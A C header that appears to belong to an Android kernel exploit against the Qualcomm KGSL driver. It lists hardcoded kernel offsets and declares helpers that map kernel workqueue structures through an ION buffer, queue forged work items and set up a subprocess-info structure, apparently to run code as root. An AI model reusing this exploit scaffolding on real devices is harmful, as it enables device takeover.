#ifndef WORK_QUEUE_UTILS
#define WORK_QUEUE_UTILS

#include "fake_obj_util.h"

#define SYSTEM_UNBOUND_WQ_OFF 0x2b8f7f8ul

#define KGSL_DRIVER_OFF 0x2d0a000

#define KGSL_MEMQUEUE_OFF (KGSL_DRIVER_OFF + 0x518)

//worker_pool::worklist
#define WORKLIST_OFF 0x20

uint64_t get_wq_addr(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t wq_ptr_addr);

uint64_t get_pwq_addr(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t wq_addr);

uint64_t map_pwq(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t pwq_addr, uint64_t* pwq_region);

uint64_t map_pwq_pool(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t pool_addr, uint64_t* pool_region);

int queue_work(uint8_t* pool_region, uint64_t pool_addr, uint8_t* pwq_region, uint64_t pwq_addr, uint8_t* sub_info, uint64_t sub_info_vaddr, uint64_t worklist_addr);

void setup_sub_info(uint8_t* sub_info, uint64_t sub_info_vaddr, uint64_t kernel_shift, uint64_t arg_vaddr, uint8_t* arg_region);
#endif
